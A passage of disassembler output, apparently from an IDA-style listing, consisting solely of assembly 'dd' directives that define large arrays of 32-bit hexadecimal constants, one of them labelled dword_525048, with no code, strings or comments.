		dd 0F47513Ch, 0E0DEF1CEh, 80B26BEh, 79B89270h, 16F507D2h
		dd 3034361Dh, 0E20F6A18h, 523DCD00h, 2FBBDA83h,	6E3800D6h
		dd 0ADBE8CA4h, 7024F27Ch, 5500A4AAh, 1CD4CDBBh,	5DAC0E4Eh
		dd 0B204690h, 0B44D6682h, 0FB3B6000h, 0AE483394h, 0F21A004Fh
		dd 55B6E922h, 2D0007A5h, 86BD6963h, 2032343h, 891BE0B2h
		dd 0B2C0E38Eh, 7006348h, 7C13445Eh, 786DECE9h, 33C507E5h
		dd 22DF8AF7h, 6E60716Eh, 24B8C092h, 288F9800h, 97754878h
		dd 3A6300E7h, 9B5B6022h, 0A0004D13h, 0CF4A71A8h, 9178B3h
		dd 8FE79CFCh, 41AF2A3Fh, 95906F0Ch, 0EE0AEh, 5E682DBCh
		dd 7CD8AF6h, 0C806E00Eh, 2A940FFh, 0A0A66615h, 9E58F8Ch
		dd 0B515A60h, 0E3C6F200h, 6988A59h, 290037E6h, 0F2D01E15h
		dd 72DD345h, 741A284h, 316FE065h, 0C600C429h, 3D4926B2h
		dd 24E8EAFBh, 0E941F48h, 0DEC98E78h, 0B37AFA80h, 490082C4h
		dd 125B5965h, 0F3B616h,	0D2030AF6h, 3D75C5A8h, 96E5C800h
		dd 0C4FAE343h, 4D7800F7h, 5F1AAADh, 10C0367Ah, 3FFB1A9Dh
		dd 3DCB0080h, 0B3887342h, 0D1012230h, 13D2905Ch, 1C205A8Ah
		dd 422B0049h, 51E8D311h, 5B6D2355h, 37C00818h, 21363D7Dh
		dd 78334800h, 5C0508E5h, 6C09B375h, 0ACC77Fh, 4BB5906Ch
		dd 84210066h, 10562034h, 0A1008D6Dh, 0AD86F0FBh, 551E74h
		dd 78997D41h, 4B58D734h, 0F233BD3Eh, 563D201Eh,	1B682900h
		dd 40552863h, 0ED3A7A38h, 227C9D05h, 2FCDB282h,	456BC03Eh
		dd 0D23A001Dh, 0F32909C8h, 8BE41E3Fh, 56D7E400h, 265538F6h
		dd 14C107C3h, 16E7398h,	0FD5C5BF2h, 977AFC39h, 5FEB8300h
		dd 9023DE9Fh, 0C3894F26h, 0DADA3220h, 0A339DC78h, 0A5A68062h
		dd 39F4C20Ah, 3DE2013Fh, 4CE5ADB8h, 1F646065h, 0F85C4F01h
		dd 0CBD3DE5Eh, 0A1B060h, 0B26C39B7h, 0E66E01C3h, 0EE7250F6h
		dd 653DE507h, 9D10A390h, 1CF21075h, 0FEDECFFAh,	867E1300h
		dd 0EB91F9ACh, 0B42807B0h, 993F40C9h, 924894h, 0E193742Dh
		dd 56A9F3h, 9AD4B0BDh, 2E383D21h, 8CCB6907h, 0A4D0FA65h
		dd 0E76D7Ch, 2B75C239h,	64AD7418h, 38F19E03h, 0CA1FC94Fh
		dd 0C7E0E071h, 0BCA85982h, 8DBEB400h, 0B08681B3h, 13BDE500h
		dd 9804A669h, 22EA0312h, 0F33EA12Ch, 823CADA8h,	174CDD00h
		dd 47CFB839h, 8AE100EAh, 0DF6C53C4h, 592874B7h,	5E10EC3Fh
		dd 0C60FF039h, 4120AE18h, 8B8D3766h, 0BD05E000h, 5E9A1C95h
		dd 21100090h, 0E55B6382h, 9401FC6Eh, 5D6273CAh,	0B5318EA9h
		dd 3B13D960h, 0C4D818D8h, 4B00BB39h, 0E66ADDD9h, 8F0CE87Fh
		dd 212A6639h, 319C0161h, 0FFE24090h, 5FFC34D8h,	10004374h
		dd 3293D1C7h, 40F9750h,	0B684A7AFh, 0C5EC80AAh,	3C2E9070h
		dd 830040F1h, 0C4344068h, 9613944h, 2CDF0E00h, 314F592Bh
		dd 28250D03h, 0B872FA7Dh, 31FCF57h, 40AD70C2h, 2A815F44h
		dd 4BF426Bh, 0B3387CE8h, 5A01B900h, 89111E03h, 2CC008Bh
		dd 0E3180947h, 0C71CF667h, 9189067Eh, 0A03C61BAh, 1C94B460h
		dd 1C40E5Ch, 8F7C62D2h,	1978E8AEh, 1712FC98h, 14D311B3h
		dd 6AA4E04Dh, 50AD1DD2h, 5C80FCC0h, 2FB7F75Bh, 740BEF71h
		dd 80131A3Ch, 97F8308Fh, 3B17F442h, 99BF8A55h, 0F5896B80h
		dd 0C23BD402h, 0C8C44509h, 0BA6C403Dh, 34FB8B4h, 0AFA8F961h
		dd 6EFF7C7Eh, 48D801Dh,	0BFCD6468h, 12B81001h, 939DA68Eh
		dd 1ED24F8h, 0BBD91E19h, 0D0100AEEh, 0CA0011FDh, 9663C53Ah
		dd 982E697Bh, 1E92618h,	48203E1h, 0AFC00B24h, 3F00D7BFh
		dd 7226DA81h, 0FE94792Fh, 9E0A1C5Dh, 0A221C09Bh, 0C6957707h
		dd 5C0AECB8h, 802AEAF5h, 396CED00h, 0B9E94Ch, 0BED41A63h
		dd 0D59A67A2h, 2B95E403h, 0F8458DA8h, 3AD96E7h,	2D301E08h
		dd 51806339h, 3A00B6E3h, 0C7999DACh, 3A0694C1h,	9C006908h
		dd 374E34F2h, 5D00074Fh, 90D3DA67h, 0A155A0h, 1A21ABC6h
		dd 0BF253165h, 70C74Ch,	6AC4A72Dh, 0C04FD9h, 0FF2483ABh
		dd 0FC18C312h, 47AC234Ah, 0E100244Ch, 641940F7h, 0A7EA9967h
		dd 0E0F06825h, 4C85ECh,	75CB6654h, 64F98207h, 126C014Ch
		dd 3CC03D7Bh, 2E86E697h, 80E07E61h, 0EFD33941h,	58828BEh
		dd 96F8003Fh, 473779F1h, 9C17A8CFh, 24007149h, 0E0B9E182h
		dd 81DE04FAh, 9090F056h, 0E92BA872h, 0DDBE2F6Eh, 0FA8C8740h
		dd 3B2DD69h, 86048B36h,	84E03E7Ah, 0BF00E616h, 5FCB7618h
		dd 0B9354E4h, 0C330F7A1h, 9862A600h, 2B2C846Dh,	0D60AC5Dh
		dd 0EA9E2Eh, 0AA675B36h, 473C5A3Dh, 2F0E867Bh, 1EC3444h
		dd 2917B2Eh, 8EDBF880h,	90C9D58h, 0D73E2402h, 4084276Bh
		dd 1CDAE0h, 4BA05FB0h, 8E4F5B80h, 82ECF14Ah, 0A9B3FE07h
		dd 15DEA075h, 76041AF6h, 8A94A1DDh, 0CE112097h,	92087287h
		dd 0AA33CD00h, 0DA93B2ABh, 0F23B73A7h, 11E705Fh, 875A197h
		dd 45EC9B56h, 0C5B400BCh, 96F42BC4h, 0F7BAE4A3h, 0DB01887Eh
		dd 0C9BBBF42h, 0B7F5F8h, 0E90364F6h, 0AEE6FD86h, 0B809555Eh
		dd 506020B1h, 21E85h, 5D44CA2Ah, 6517CB54h, 9828800h, 8E5319B4h
		dd 74D90738h, 9FF687DFh, 0E37732C0h, 7513AFD5h,	0E00214Bh
		dd 4A70CAF2h, 42E5006Eh, 0C0B1B45Bh, 5F0452D3h,	0E373C9A2h
		dd 0C32730C2h, 0B0A3A573h, 0C5B25A07h, 12566376h, 5301006h
		dd 0F0E528h, 0BBEE2B97h, 0E2FEB698h, 18A17B00h,	0F120B792h
		dd 33CB0045h, 0A797F65Bh, 0BB1517DAh, 0B887E32h, 604C831Bh
		dd 18D51CC4h, 5939D2DAh, 0EF032C64h, 0FE2610A2h, 96F816F5h
		dd 19D088C7h, 3D052E02h, 43C5ECC0h, 7007AA23h, 0C81D0114h
		dd 46141B5Dh, 6BBDF422h, 187C3500h, 5083A956h, 322301B7h
		dd 425C3D19h, 20686007h, 100034F2h, 0C8C393A9h,	0FD6AFA48h
		dd 9BF73280h, 0E953ED7Bh, 5C7DD8B7h, 50034B7h, 0BC502F1Eh
		dd 0AE00929Ah, 571CD7BAh, 60A16775h, 2F168CACh,	4D1CD9E0h
		dd 0C94E5E7Fh, 90FB04CAh, 3E75F8C0h, 0FFFC0116h, 0C1C4E79Fh
		dd 72D8208Ch, 0F2D6ED18h, 3E9958F1h, 8500603Eh,	0D8BFFCA6h
		dd 3200AB62h, 0A22FCB02h, 7BC1B6Bh, 3C16BE86h, 29A0D163h
		dd 13A5E430h, 0CC440105h, 0E086B4B8h, 0ECB05429h, 0A03B0441h
		dd 0ECE12393h, 7C600D4h, 7FF2712Ch, 32EB0FADh, 287C0B38h
		dd 1AD20E94h, 46C4FED6h, 789F8159h, 10BC436Eh, 0B61FEC88h
		dd 49FF8100h, 794A9523h, 5E38056Fh, 80636C48h, 0B35D88E3h
		dd 0EBA74E1Fh, 0D80FA157h, 0A657A0D0h, 1ED8437Dh, 0DC9660h
		dd 0EA6CECCDh
		dd 35011DC7h, 0BDED95F5h, 17E43B58h, 196D312h, 7061F3CCh
		dd 9542E010h, 68A0DB06h, 9B00317h, 4DC42CBAh, 0FBB764E8h
		dd 91118C0h, 0FCD56AADh, 0D7E800B0h, 2E7C8E33h,	0B4000CAAh
		dd 0A5C191DEh, 893120h,	0FE02091Dh, 0D48E546Eh,	30CB9D00h
		dd 0D1906C78h, 0A8560014h, 0D985F18Ah, 28006191h, 0E9276EE1h
		dd 902AA6h, 0C0D11C51h,	1935F9Bh, 0C599D700h, 9DB1A003h
		dd 0C415282Fh, 798817F0h, 0A42500DFh, 0C6125813h, 9D01FF27h
		dd 78C2E200h, 0B37610h,	0C906197Dh, 0B2D6FBC8h,	70E63B00h
		dd 77740F15h, 97E2009Eh, 0B6042091h, 400016F9h,	0ADE7F8B8h
		dd 0A54872h, 7BF13721h,	0CED26EDBh, 3D9A3800h, 0BFA60A57h
		dd 0FD840033h, 2C983C5Bh, 0E09FA958h, 1F0F9Ch, 6078DE4Ah
		dd 36694508h, 3C51F701h, 0E934B56Eh, 3D337FD8h,	79802EFBh
		dd 0AEAA0323h, 740032A9h, 72CCA7CBh, 0B34AFABh,	0F75C89C3h
		dd 0E1DF8860h, 0AC708D5Bh, 1CF2AF91h, 891A34AEh, 818150h
		dd 0C832948Dh, 5A717829h, 70400F07h, 0A099149Eh, 7C8DD354h
		dd 2CC00122h, 0E42F772Eh, 0CE82605Eh, 750D9409h, 8C8000Fh
		dd 0EAA4247Eh, 0E1E8A5h, 49416877h, 5D221DD9h, 69C70250h
		dd 7898E4FEh, 0FA00DBF6h, 8C38B98Bh, 1D378DFDh,	83E36ADCh
		dd 6FBD9693h, 0A9B64880h, 47046001h, 0B798EED2h, 0DBF89FCDh
		dd 0B8A14C8h, 4103FCBCh, 0CEAB1251h, 0EC92D5C0h, 1142E0C0h
		dd 32D27Dh, 7BDD7748h, 2F74AE79h, 232A7303h, 0A8ED13E2h
		dd 2891838h, 9F607504h,	0C0466B0Eh, 0A7D07400h,	5F315BB0h
		dd 495F4Eh, 23EC8168h, 4B078842h, 0E3CF6E18h, 4C56A370h
		dd 0B9AD00B3h, 9D8B4A37h, 6B000CECh, 6E75ED12h,	590E0585h
		dd 7A005CF1h, 2368BAC0h, 0DF1CBF4Fh, 0F28B3C1Eh, 0D7A4C8A4h
		dd 8AB017E3h, 1788C0A9h, 1F0011ADh, 354505CDh, 2C68D13h
		dd 77A5C5BCh, 9F428B38h, 0F4130096h, 1E1E3BABh,	431359C0h
		dd 0E4339Dh, 0B48D9DBh,	223D3799h, 3CC7EB03h, 0E077FAD7h
		dd 7BA55AFh, 1FD38976h,	1A9000FFh, 0D0EFEEA4h, 54B2292Fh
		dd 8218B5Eh, 0CFDC46C9h, 0E4D8001Dh, 0B51CF869h, 25070DCAh
		dd 0C1DC4A62h, 0DED5BEC0h, 0E7A0023h, 4BE9D97Dh, 500F608h
		dd 985B7630h, 0BA42ECh,	0D26F0626h, 23B99C18h, 96950500h
		dd 8DF1E5A5h, 0B4920074h, 0D31A03F6h, 0DA05BE36h, 7D4CFA30h
		dd 49D982C0h, 39770451h, 807ABB66h, 6CF3ECB0h, 0BC2FB800h
		dd 28309908h, 54FF0002h, 7E05A6EEh, 3707D3CFh, 4323FA5Dh
		dd 0D45029h, 32C78DD5h,	0B8B4C3A1h, 4A8FF415h, 790B0780h
		dd 99004FBEh, 0FC7CCF2h, 0F1328A12h, 0FCACA801h, 902CE448h
		dd 0BE31C200h, 0BACB946Bh, 1B0300E5h, 15CE3826h, 0C701E1A6h
		dd 3AC54D7Eh, 0DDD46772h, 76F700FCh, 0CEA50AC4h, 3FC527Ch
		dd 0E600C8BCh, 0CB7B5446h, 81330720h, 0E086AE2Ah, 0B178BB88h
		dd 61056CBAh, 13393285h, 489CA005h, 0B6493CC0h,	9F44000Ah
		dd 0A521DB03h, 4D0042BDh, 4A2AB1Fh, 82436Dh, 0AEECEAD7h
		dd 67ED757Dh, 0BDD7A07h, 0CE508C64h, 9DC803h, 0E63C18B7h
		dd 0BB45ECF1h, 0A75CB0E8h, 0CD3100ECh, 5C9CF4A9h, 0AC871E27h
		dd 7AA04740h, 41598096h, 82723DA7h, 0AAFBE200h,	7333EC5Fh
		dd 0F5CF0B91h, 3B003283h, 0B05B775Ah, 0E8BA4Ch,	0DDEC5780h
		dd 3D0EC6A4h, 2180BB44h, 0B3881FA0h, 0A800B9FDh, 0E3646BD9h
		dd 165144Ah, 0DE96545Ah, 406A5E73h, 44E537C3h, 10025D75h
		dd 0E91372A2h, 99A0E1FFh, 86541C2Ah, 40D19334h,	627F9600h
		dd 71DBB213h, 32A5044Eh, 0A826A30Ah, 63E400E0h,	0D58F8088h
		dd 5CAF7ED6h, 7519BC07h, 82F111B9h, 0B8D1B221h,	5148DC12h
		dd 0B4BD0490h, 0AFE8D403h, 0AA08C2Dh, 0CE11352Eh, 5072A4F6h
		dd 9D461C6Dh, 0C689288Eh, 8260E0D1h, 15594FDh, 18CC409Bh
		dd 0D00797B3h, 0AB6F4EA1h, 84218074h, 0C42C3948h, 0EDD4E070h
		dd 5FCC0460h, 62009297h, 0B7CE25BEh, 0ECDF6900h, 170DA02Ah
		dd 85850E2h, 38809D04h,	1583461Bh, 44488B28h, 5506A3FEh
		dd 12CC4363h, 9CB05B90h, 4800A0E8h, 8CE0941Ch, 74E11234h
		dd 0BBB0049h, 45EE77E4h, 7300249Bh, 0A44B09D0h,	854D8Bh
		dd 53551A36h, 54EF6F7Bh, 3F6FAA5Ch, 0E0E7499h, 20F9FE64h
		dd 650FC84Ah, 0D53800ACh, 0AF30F020h, 291F2791h, 0B1037142h
		dd 89668BC8h, 0FEF0C7D1h, 68F90016h, 0B1EEF61h,	381EDEFBh
		dd 0B840F463h, 0B32C7121h, 5E9A0052h, 0E2C7396Bh, 89FED11Ah
		dd 103E2E07h, 0D7709F3Ch, 6DE631h, 9D80F3E9h, 5320DD8h
		dd 0C1C31A00h, 446361AFh, 9F6A1EF5h, 67BE403Ah,	0CE0BCB46h
		dd 19499202h, 50EBB3E0h, 0F665011Ch, 2E0C40F3h,	14B7ECDCh
		dd 0B080464h, 0EB934B0h, 2753401Ah, 0B49A6460h,	0CD00257Dh
		dd 98829542h, 31C67B0Dh, 6B30180Fh, 0B6EFFC96h,	450024B6h
		dd 14AC9ACDh, 44E40C1Ch, 0FB0854E2h, 5C20AD60h,	0B0919AC8h
		dd 0D5EE02B9h, 94B7FFE5h, 783E8D4h, 98FD9D2Ch, 33827F26h
		dd 63700150h, 21702164h, 0A89AC960h, 0E53C1410h, 2880E1C8h
		dd 9BC590A4h, 0ED7C00A7h, 6533EB17h, 350ED732h,	62ABF6FEh
		dd 444B5310h, 0AE9C00D8h, 0BB183DA2h, 6706A397h, 0D0A4420Bh
		dd 71260021h, 1B7CC2A5h, 87004CB2h, 5BAF6F51h, 137A4E02h
		dd 0F048EF9Fh, 6C396918h, 39460725h, 0C8CA6E40h, 0B164D00h
		dd 499B98h, 7D9A07Ch, 3272EE96h, 0C90D5603h, 0B83FDB0Ah
		dd 79ECC7Dh, 0E17F86EDh, 91B520C1h, 3A00402Eh, 0CB2B355Bh
		dd 0D9B8C6h, 823197ACh,	0F0CDD54Eh, 0F6620E3Ah,	7A3C4500h
		dd 0BE572B37h, 170C8h, 6AAE1EA5h, 3A8E24C3h, 0D4B52A00h
		dd 0F787C6F9h, 30BE7EEEh, 89840C8Fh, 0EA07CB67h, 62D05878h
		dd 0B5296D00h, 0DD730Dh, 1FA23107h, 0FE65192Dh,	0DEB18100h
		dd 0CA94852Fh, 0B4BD0099h, 78F61DCCh, 35000131h, 732939AAh
		dd 0CE868Fh, 1618666Bh,	0C41D1E2Dh, 8E192B06h, 1D08C2E6h
		dd 0D7ED691Fh, 9465C02Ch, 18302405h, 6A9D28C7h,	5811605Ch
		dd 0B1FE2338h, 92AAEA06h, 41E9E1h, 2C05EF7Dh, 6157739Bh
		dd 0C649400h, 873DA842h, 0CEBFCDBh, 167F7DCDh, 0B574AA48h
		dd 1D2DC73Fh, 2010FCh, 85430E2Ah, 0F9E3FEBh, 1C7CE118h
		dd 0CA0C60h, 603155F2h,	28911214h, 1561BC0Fh, 0F774C03Eh
		dd 0AAA8B6h, 0C956D7ADh, 874DC3B9h, 984C1D03h, 0F99E0697h
		dd 8AF4C4A6h, 39C17292h, 0A0004FE2h, 4FCC691h, 8E0A0E46h
		dd 820F0CC3h, 0C01CBF0Eh, 734B87AAh, 501A0009h,	2B611841h
		dd 0E6004606h, 20EDFF44h, 0BB84CEh, 65D6B393h, 4E92DB8Ah
		dd 0AEA96601h, 0FC24EF38h, 3C785DD4h, 1A0EEE69h, 4E21F203h
		dd 61019D58h, 37088C92h, 31B204Bh, 0E430F16Bh, 0DAA0810Bh
		dd 26008269h, 0EFED96CEh, 1BCA497Ah, 304E614Ah,	0D5A9D2C0h
		dd 0A7455126h, 0C5403C1Ch, 0A9FAAABh, 9AEA007Ch, 0CFCE1A37h
		dd 2201F2A5h, 0D3D6B448h, 588197B2h, 82FB6CA3h,	7EB1F049h
		dd 1ED4680Ch, 70FB079h,	0FCE7A932h, 843F73BBh, 1A3E0C3h
		dd 0A102100h, 0DDB1B9A9h, 65CC00A0h, 0C8B52D82h, 51C14BE3h
		dd 81F76CA2h, 0BED66080h, 515E822Fh, 0F67B6400h, 0DAEBF039h
		dd 0D2D100FAh, 13F72DB6h, 0A5008FFDh, 0D3C4606Fh, 7DFE110Dh
		dd 9E010769h, 702FC99Bh, 0C5A73904h, 0FD446100h, 2218C768h
		dd 0CC63009Eh, 47EA1A6Bh, 0F40E0108h, 60F2BD79h, 15F91CAFh
		dd 4D6F04B5h, 0C1A5569Ch
dword_525048	dd 205D5050h, 0EE001836h, 786820FFh, 0F2F794h, 63652EB5h
		dd 2997B85Fh, 0CC21EE00h, 0E093A1F1h, 5596000Bh, 0B86E142Eh
		dd 0C700BF76h, 0F839C02Ah, 0CCE9C8Eh, 8CE8AB98h, 0C13AF638h
		dd 8F8B00EFh, 9443733Ch, 0B96630DDh, 0F1177C58h, 483F1C0Bh
		dd 8E9A03C2h, 0C0DF80A2h, 0E30B0005h, 737EC16Bh, 3217963Eh
		dd 0B6054BBAh, 5581D764h, 9F031E3h, 886C0108h, 0B89BB4ADh
		dd 7B19800Ah, 361BB999h, 24420063h, 0AF3FA9D0h,	0E30A5259h
		dd 802F4607h, 69328583h, 60DDAA43h, 0F88B2095h,	1C511E46h
		dd 1D4BCE1Ah, 0AAF46880h, 0E0E289AFh, 9DC7B00h,	2566EDA8h
		dd 65778C3h, 0BD470E16h, 0D400605Bh, 2726EBB0h,	3A42251Dh
		dd 4D80AD7Ch, 30A1D752h, 81026457h, 39096CB2h, 5D0495B4h
		dd 0F382CE00h, 2E6611E3h, 7CE9AEh, 5D72AD20h, 5007FA28h
		dd 1EB90C3Bh, 1683F3B7h, 0A0E7C3B5h, 3EE305C8h,	0E5007CDCh
		dd 21DF61EFh, 6230F237h, 0E4F656ACh, 0AE143ACCh, 80FD881Ch
		dd 2070EAB2h, 0CDE2D687h, 0C10011F8h, 66A37603h, 131BBF3h
		dd 0A7FA2B77h, 7F0AE9DAh, 698A9080h, 0B854604Ch, 7B95AC1Ch
		dd 0DA853B00h, 26A3E247h, 67E900A4h, 0FBC069C4h, 2F0C27DFh
		dd 287A5BBAh, 0C47044D6h, 4474C544h, 0AA62D565h, 2259E251h
		dd 0F822D8EBh, 0C982234Eh, 43E2921h, 4668E0Dh, 4344480Ch
		dd 422A48CDh, 30258FAAh, 0C01C2802h, 21E60444h,	0E41275BFh
		dd 0B7B1481h, 0A4720346h, 0A1FDD546h, 3264A822h, 8E51C1FBh
		dd 8BDE7883h, 507C5128h, 42CFDB22h, 0D06572FAh,	14042051h
		dd 7644B92Eh, 84050073h, 0F8201DDh, 3DC1497h, 6C2A8D60h
		dd 0ED0013D7h, 0E8D81FF1h, 792D509Bh, 92360787h, 509651A1h
		dd 0E6FFD7E1h, 0F42FB300h, 0D0E7675h, 0AFFA030Ch, 91079352h
		dd 0DAE88BE0h, 0FFE73500h, 147FA81Dh, 0FBE53E56h, 8E9C0700h
		dd 7465B650h, 697EA500h, 9046E6B4h, 0C2A10E06h,	0AA6079EDh
		dd 0EC65D91Eh, 760971Eh, 2C19E1FAh, 9FCD5B8Ah, 392E43CCh
		dd 90003BA6h, 5BBE2A7h,	680F9EFFh, 0A7756357h, 7EE02435h
		dd 6F67F9h, 469761F0h, 0D45A5B29h, 6D6A8B1Dh, 0CEADA607h
		dd 67864E71h, 109CC03Eh, 0F401FDE3h, 7FD04C41h,	70803F17h
		dd 91C2702Ch, 400C4A7h,	78DA5535h, 772431h, 1FA8288Ch
		dd 755BC36Ah, 782CBF3Bh, 395F9D00h, 231D6CC1h, 150F0394h
		dd 0FEE67B51h, 321E74B8h, 0E53FCD00h, 77A1B81Fh, 0CE41003Bh
		dd 30CB18C0h, 8800F31Ch, 9C35A8E8h, 0A780F9h, 48D562BCh
		dd 5C5357E6h, 43ECBE00h, 0D715B25Bh, 0E87D0746h, 45B56B9Fh
		dd 53B0C0E4h, 0D00964Eh, 0B2AE87E3h, 752078Eh, 82F84989h
		dd 90486009h, 370088ACh, 54B9D084h, 7D39DF4h, 46743CA2h
		dd 358DE093h, 0F1005325h, 9216A1E5h, 0E2E308h, 82EA8961h
		dd 3F07FCECh, 4AF34600h, 0C6DBC465h, 0F188054Ch, 4E22EDh
		dd 0CD1D6B9Eh, 0C700E2F8h, 0C4E6A1A6h, 1CB0F2C0h, 0EEADF4h
		dd 0C6CAE858h, 0DF0177EAh, 8192B101h, 0A6C43265h, 958A002Dh
		dd 7006D3A5h, 9247BCEh,	1600449Fh, 0BC7EC63Eh, 0CBF70019h
		dd 0A4EA6583h, 34493D78h, 30E2300Ch, 5C29AAh, 0AE3273E9h
		dd 5B19530h, 0F2E65900h, 8C920F57h, 4BA9008Ah, 0D6AFDBB0h
		dd 0FE0A4299h, 0F48F8E63h, 0E0BA1702h, 0BE4040D7h, 9D3A3ED2h
		dd 724B8780h, 74C18047h, 4A006D74h, 0BEFE225Bh,	0F091F8h
		dd 1D4DA241h, 0A3715C52h, 42E95100h, 119BCF54h,	4348D5h
		dd 0D2A54B00h, 0AD1AF2EBh, 5C05D800h, 0DB23E763h, 3D740692h
		dd 6009A232h, 0ED52DA06h, 60A05B6Eh, 0AD64401Ah, 0BB3E3F0Eh
		dd 0BA1F001Dh, 0B1EE2A99h, 0D38A1C84h, 629DC0D2h, 0DBC6E6FBh
		dd 0FE492E12h, 40A5900Fh, 6AB064F7h, 960900C5h,	6EBD61C4h
		dd 0B4003C78h, 5CDB1588h, 4D3E6h, 7C7FF138h, 0A37A2734h
		dd 643BAC00h, 0A5FAC1A8h, 51030E94h, 6720704Fh,	0C3B478DEh
		dd 60718F00h, 0EBE97AA8h, 0CFE400FDh, 0FF61F73Bh, 0D94C2715h
		dd 65B50378h, 0E04FAB02h, 0BFC87E5h, 301F07BAh,	0CB1CF176h
		dd 3E6DE840h, 34B75F9h,	0B1CDF1B5h, 24C0B8D9h, 5507EACAh
		dd 0FA789ACh, 0F3AAC4C0h, 1A4E0084h, 0A6A1D5F9h, 900B770h
		dd 95D35B36h, 7E5F702h,	45F9C057h, 277BE046h, 65055423h
		dd 0D3C98906h, 0EE12F0h, 7A88F5B4h, 0A3D73B72h,	441C0C1Eh
		dd 8EA57380h, 0B3EF71h,	860FD043h, 1CB6BAB8h, 0BE651402h
		dd 40E1D4EAh, 78C544h, 0FA8A5DA9h, 0DCFD76F9h, 3130F003h
		dd 982DACD8h, 0E4496C03h, 0D2793FF5h, 730D2480h, 0CA250F4Fh
		dd 47E2BA06h, 103DB6h, 0AF7CA51Bh, 532F3624h, 9DDEFA00h
		dd 4282D64Ah, 9E7F886h,	0C03F5125h, 0D7AD05h, 769CBCC4h
		dd 15009B45h, 34B83C50h, 0B0ED62FDh, 43AB80D9h,	2B7100FEh
		dd 1F8E5E8h, 15008EE1h,	55E3F1F7h, 4E7C09h, 8CAFED68h
		dd 0CD67F433h, 7435C4A0h, 0C94C9650h, 9B87A800h, 0C5853CF6h
		dd 1958005Ah, 7BE6A0F9h, 1DF847B4h, 4E429E00h, 0D0AD17CAh
		dd 1823000Bh, 87D61AFDh, 403A35Ah, 1059C6E2h, 7B91A00Dh
		dd 708A00C2h, 0C0B6E01Fh, 0BB0071CDh, 0C6FDD3ACh, 63939Ah
		dd 306994Ah, 17297969h,	7F008575h, 0D736B896h, 7E2C85Bh
		dd 5CF6B1Eh, 0EBD0152h,	0DCEEE087h, 6DB4FA00h, 1A7968C0h
		dd 0F2E67F34h, 0C835014Ch, 80CE8876h, 9A6DDC65h, 39EA8D05h
		dd 7FC0AF24h, 1DACD1F1h, 0C0F250E4h, 64D2FD02h,	0F60EB8DEh
		dd 40CB3A88h, 76D59D36h, 7CB90222h, 431C1759h, 901F8280h
		dd 9A00AFE2h, 0A0F593B5h, 146E5155h, 0DCC6F3B9h, 5B090070h
		dd 0C4683F91h, 17001C98h, 46611F41h, 71D07B9h, 0FF2242D2h
		dd 0BCADC0FDh, 70009ADCh, 0AE5FEC3Eh, 2AAAB75h,	59EA0C48h
		dd 20E2E8D6h, 5839DC00h, 1C17D1DAh, 0BB41A5h, 0CE9EC1D9h
		dd 0B30F8384h, 20DD8FE7h, 0F2C303EAh, 0D35A0ED5h, 9D40D705h
		dd 417D6F1h, 4A0F6378h,	60E8B9F7h, 0DC35B3E5h, 0EC70249Fh
		dd 1723C48h, 0BEBDB5C6h, 0FC6A4B33h, 0DEEF7A0h,	0FF852900h
		dd 4D89A8C7h, 9A83F36Ch, 0F29D6F1Ah, 2E7D4F0h, 0FAC06B00h
		dd 8EFD6ABEh, 712C00FFh, 58DDDC1Eh, 0F800AD72h,	484C9747h
		dd 72CEDED8h, 6C1F00D5h, 190CCB02h, 0A700732Fh,	1E8C5DDCh
		dd 120DD111h, 32F103h, 0F8B165B5h, 4A615063h, 0E79A9D50h
		dd 2929BDCh, 0A620C9C5h, 196096F6h, 2A04EA91h, 8828C386h
		dd 10C4DBC1h, 1385660h,	0D55A2624h, 0CCDA83E5h,	7C004366h
		dd 9408028Bh, 0FBFBDDDh, 1D74F9EBh, 0FF478CC0h,	7800FD42h
		dd 8C67079h, 0F8363727h, 8CE000FEh, 2031FF0Fh, 0E3005A34h
		dd 4643B865h, 0DBF5EDh,	0C3E0C2EBh, 3A99BD08h, 0E2C4EE00h
		dd 30917E29h, 0C23C0ED2h, 6440525Dh, 0B07FD11Fh, 56C63303h
		dd 0B03815CBh, 0C9E193h, 8721B4BCh, 1BA34DB1h, 0B85CD00h
		dd 4A7F562h, 9290064h, 0EE8E6BD0h, 0E00242D5h, 0AC1C8995h
		dd 0FBD960B3h, 61080017h, 90198ED7h, 1D00E8AAh,	7EEE521Bh
		dd 12A3CCh, 0D8F5A805h,	48B82274h, 307CF300h, 0B4F979EFh
		dd 98150B7Bh, 8E006EA0h, 55F0592Bh, 41CFA600h, 0E3602A6Fh
		dd 963800BFh, 4F56A966h, 0F17815ABh, 2FB48C00h,	0F07964F2h
		dd 75A5004Dh, 0D48D825Ah, 3000D207h, 0AB135D2Eh, 0AE522Fh
		dd 547BEC90h, 0A37CFDA1h, 0B5FC8C0Eh, 17DBE773h, 0D0EC59B3h
		dd 0E293F8h, 144E57Dh, 0B903B83Dh, 45FA6300h, 9AE3F3Eh
		dd 10909Bh, 0F7A76B46h
		dd 0E9EEA02h, 347F6492h, 0F461AB07h, 592049FCh,	0BE6716h
		dd 7D0812B9h, 285AE5C7h, 1E6F803h, 0FAF2C552h, 0CDA88095h
		dd 1F4FA1CEh, 80DE9DBAh, 4B4C639h, 5D588E55h, 1007975h
		dd 5BE6762Eh, 0E840F3A2h, 0AA73009Ah, 258A819Ch, 0F0C0970Ah
		dd 78633F84h, 0D68E01F9h, 0E0C56CAAh, 64AD301Ah, 0FD2B5501h
		dd 0CC93E1BBh, 0E63389F8h, 50FEDEh, 912F204Ch, 2D172609h
		dd 5FC64607h, 7AF57EFDh, 8E1AE400h, 620364h, 9E9DBD94h
		dd 0E9485955h, 8043373Ah, 5BF28E7Eh, 0CA985EBh,	0F9D217EEh
		dd 52482678h, 71890369h, 98E83A9Ah, 0A563016h, 0BA597751h
		dd 87850084h, 26F99480h, 6611A000h, 283C0CB7h, 887383h
		dd 0EDB3F5E7h, 0AE7D80A8h, 5C821A07h, 4B76E0E5h, 5BE07FAh
		dd 0B0D33899h, 0CAF141DEh, 8B8F550h, 1CB37624h,	0E2AF4580h
		dd 4AE629A4h, 44EBC18h,	0C01A9637h, 522D36C0h, 4DEC005Eh
		dd 9AD7F755h, 0A71E7607h, 0BC00E27h, 0E6204E95h, 0D1AE03F6h
		dd 0F80DA6DBh, 0A8E35688h, 5F02E10Eh, 0BC0640CEh, 0EC55B2h
		dd 7D944559h, 6B05618Ch, 95FF58C5h, 7BB50F80h, 1ABE062h
		dd 0DD0F02D7h, 30EA4A64h, 58264E64h, 6D00A8C8h,	904B30B6h
		dd 425A39C6h, 91736900h, 18965E33h, 8002AF3Eh, 0E52AAE82h
		dd 698E6Fh, 3613B1ABh, 70A481F2h, 5DD01500h, 8C53E5BDh
